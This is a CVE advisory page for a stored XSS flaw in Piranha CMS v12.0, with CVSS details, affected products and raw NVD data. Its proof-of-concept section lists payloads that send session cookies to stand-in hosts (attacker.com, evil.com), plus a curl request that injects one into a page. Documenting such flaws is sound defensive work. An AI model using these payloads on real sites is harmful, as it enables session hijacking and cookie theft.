Security Vulnerability Report
中文
CVE-2025-61413 CVSS 6.1 MEDIUM

CVE-2025-61413

Published: 2025-10-23 18:16:24
Last Modified: 2025-12-31 02:35:32

Description

A stored cross-site scripting (XSS) vulnerability in the /manager/pages component of Piranha CMS v12.0 allows attackers to execute arbitrary web scripts or HTML via creating a page and injecting a crafted payload into the Markdown blocks.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:dotnetfoundation:piranha_cms:12.0:*:*:*:*:*:*:* - VULNERABLE
Piranha CMS v12.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-61413 PoC - Stored XSS in Piranha CMS v12.0 // Steps to reproduce: // 1. Login to Piranha CMS admin panel (/manager) // 2. Navigate to Pages management (/manager/pages) // 3. Create a new page or edit existing page // 4. In the Markdown block editor, inject the following payload: // Payload 1: Basic XSS const payload1 = '<script>alert(document.cookie)</script>'; // Payload 2: Data exfiltration const payload2 = '<img src=x onerror="fetch(`https://attacker.com/steal?c=${document.cookie}`)">'; // Payload 3: Session hijacking const payload3 = '<script>document.location="https://evil.com/log?cookie="+document.cookie</script>'; // 5. Save the page // 6. Visit the page as any user - XSS will be triggered // Example curl request to inject: const curlPoC = ` curl -X POST 'http://target.com/manager/pages/save' \ -H 'Content-Type: application/json' \ -d '{ "title": "Malicious Page", "blocks": [ { "type": "markdown", "content": "<script>fetch(\"https://attacker.com/steal?c=\"+document.cookie)</script>" } ] }' `;

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61413", "sourceIdentifier": "[email protected]", "published": "2025-10-23T18:16:23.683", "lastModified": "2025-12-31T02:35:31.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability in the /manager/pages component of Piranha CMS v12.0 allows attackers to execute arbitrary web scripts or HTML via creating a page and injecting a crafted payload into the Markdown blocks."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dotnetfoundation:piranha_cms:12.0:*:*:*:*:*:*:*", "matchCriteriaId": "775B0E6E-257B-491B-88BE-64E15A31A976"}]}]}], "references": [{"url": "http://piranhacms.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/PiranhaCMS/piranha.core", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Saconyfx/security-advisories/blob/main/CVE-2025-61413/advisory.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}